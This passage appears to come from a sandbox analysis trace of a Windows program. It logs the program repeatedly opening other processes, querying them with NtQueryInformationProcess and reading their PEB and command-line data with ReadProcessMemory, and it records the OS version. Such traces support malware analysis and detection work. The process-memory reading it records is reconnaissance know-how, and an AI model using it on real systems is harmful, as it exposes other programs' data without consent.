lpNumberOfBytesRead=0x0) returned 1 [0170.300] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0170.301] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0170.301] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x252020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0170.302] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x4a12e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0170.302] malloc (_Size=0x86) returned 0x196ef0d4f30 [0170.302] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x4a1976, lpBuffer=0x196ef0d4f30, nSize=0x84, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d4f30*, lpNumberOfBytesRead=0x0) returned 1 [0170.303] free (_Block=0x196ef0d4f30) [0170.304] CloseHandle (hObject=0x26c) returned 1 [0170.304] _ui64tow_s (in: _Value=0xf0c, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3852") returned 0x0 [0170.310] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3852") returned 4 [0170.312] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0170.312] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0170.389] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf0c) returned 0x26c [0170.389] GetLastError () returned 0x0 [0170.390] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0170.390] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x365018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0170.390] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0170.390] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x5b1cb0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0170.390] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x5b18f8, lpBuffer=0x670ffc3f0, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0170.391] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0170.392] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0170.392] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x365020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0170.392] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x5b12e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0170.392] malloc (_Size=0x60) returned 0x196ef0d0450 [0170.393] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x5b1950, lpBuffer=0x196ef0d0450, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0450*, lpNumberOfBytesRead=0x0) returned 1 [0170.393] free (_Block=0x196ef0d0450) [0170.394] CloseHandle (hObject=0x26c) returned 1 [0170.395] _ui64tow_s (in: _Value=0xf18, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3864") returned 0x0 [0170.400] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3864") returned 4 [0170.401] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0170.401] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0170.463] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf18) returned 0x26c [0170.463] GetLastError () returned 0x0 [0170.463] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0170.463] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x54a018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0170.463] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0170.463] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7d1d40, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0170.464] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7d1958, lpBuffer=0x670ffc3f0, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0170.465] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0170.467] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0170.467] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x54a020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0170.467] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7d1340, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0170.467] malloc (_Size=0x6e) returned 0x196ef0d31b0 [0170.467] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7d19be, lpBuffer=0x196ef0d31b0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0170.468] free (_Block=0x196ef0d31b0) [0170.469] CloseHandle (hObject=0x26c) returned 1 [0170.470] _ui64tow_s (in: _Value=0xf20, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3872") returned 0x0 [0170.475] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3872") returned 4 [0170.477] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0170.477] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0170.536] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf20) returned 0x26c [0170.536] GetLastError () returned 0x0 [0170.536] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0170.536] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x3ab018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0170.536] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0170.536] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x481cc0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0170.537] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x4818f8, lpBuffer=0x670ffc3f0, nSize=0x5a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0170.538] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0170.540] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0170.540] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x3ab020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0170.540] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x4812e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0170.540] malloc (_Size=0x62) returned 0x196ef0d0450 [0170.541] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x481952, lpBuffer=0x196ef0d0450, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0450*, lpNumberOfBytesRead=0x0) returned 1 [0170.541] free (_Block=0x196ef0d0450) [0170.542] CloseHandle (hObject=0x26c) returned 1 [0170.543] _ui64tow_s (in: _Value=0xf30, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3888") returned 0x0 [0170.549] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3888") returned 4 [0170.551] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0170.551] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0170.601] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf30) returned 0x26c [0170.601] GetLastError () returned 0x0 [0170.601] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0170.602] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x24c018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0170.602] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0170.602] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x4d1cb0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0170.602] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x4d18f8, lpBuffer=0x670ffc3f0, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0170.603] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0170.605] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0170.605] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x24c020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0170.605] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x4d12e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0170.605] malloc (_Size=0x60) returned 0x196ef0d06f0 [0170.605] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x4d1950, lpBuffer=0x196ef0d06f0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d06f0*, lpNumberOfBytesRead=0x0) returned 1 [0170.607] free (_Block=0x196ef0d06f0) [0170.607] CloseHandle (hObject=0x26c) returned 1 [0170.608] _ui64tow_s (in: _Value=0xf38, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3896") returned 0x0 [0170.613] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3896") returned 4 [0170.614] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0170.614] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0170.629] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf38) returned 0x26c [0170.630] GetLastError () returned 0x0 [0170.630] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0170.630] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x3a1018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0170.630] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0170.630] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x5b1d20, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0170.630] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x5b18f8, lpBuffer=0x670ffc3f0, nSize=0x7a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0170.714] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0170.716] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0170.716] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x3a1020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0170.716] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x5b12e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0170.716] malloc (_Size=0x82) returned 0x196ef0d4f30 [0170.716] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x5b1972, lpBuffer=0x196ef0d4f30, nSize=0x80, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d4f30*, lpNumberOfBytesRead=0x0) returned 1 [0170.718] free (_Block=0x196ef0d4f30) [0170.719] CloseHandle (hObject=0x26c) returned 1 [0170.719] _ui64tow_s (in: _Value=0xf48, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3912") returned 0x0 [0170.727] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3912") returned 4 [0170.729] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0170.729] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0170.752] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf48) returned 0x26c [0170.752] GetLastError () returned 0x0 [0170.753] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0170.753] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x2fd018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0170.753] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0170.753] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x541c80, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0170.753] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x5418f8, lpBuffer=0x670ffc3f0, nSize=0x46, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0170.754] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0170.756] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0170.756] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x2fd020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0170.756] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x5412e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0170.757] malloc (_Size=0x4e) returned 0x196ef0d5c00 [0170.757] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x54193e, lpBuffer=0x196ef0d5c00, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d5c00*, lpNumberOfBytesRead=0x0) returned 1 [0170.757] free (_Block=0x196ef0d5c00) [0170.758] CloseHandle (hObject=0x26c) returned 1 [0170.772] _ui64tow_s (in: _Value=0xf50, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3920") returned 0x0 [0170.776] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3920") returned 4 [0170.777] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0170.777] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0170.794] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf50) returned 0x26c [0170.794] GetLastError () returned 0x0 [0170.795] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0170.795] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x2ac018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0170.795] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0170.795] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x561d00, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0170.795] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x5618f8, lpBuffer=0x670ffc3f0, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0170.796] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0170.797] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0170.797] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x2ac020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0170.798] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x5612e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0170.798] malloc (_Size=0x7a) returned 0x196ef0d4f30 [0170.798] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x56196a, lpBuffer=0x196ef0d4f30, nSize=0x78, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d4f30*, lpNumberOfBytesRead=0x0) returned 1 [0170.799] free (_Block=0x196ef0d4f30) [0170.799] CloseHandle (hObject=0x26c) returned 1 [0170.800] _ui64tow_s (in: _Value=0xf5c, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3932") returned 0x0 [0170.805] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3932") returned 4 [0170.864] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0170.864] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0170.881] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf5c) returned 0x26c [0170.881] GetLastError () returned 0x0 [0170.882] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0170.882] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x2e3018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0170.882] ReadProcessMemory (in: hProcess=0x26c, 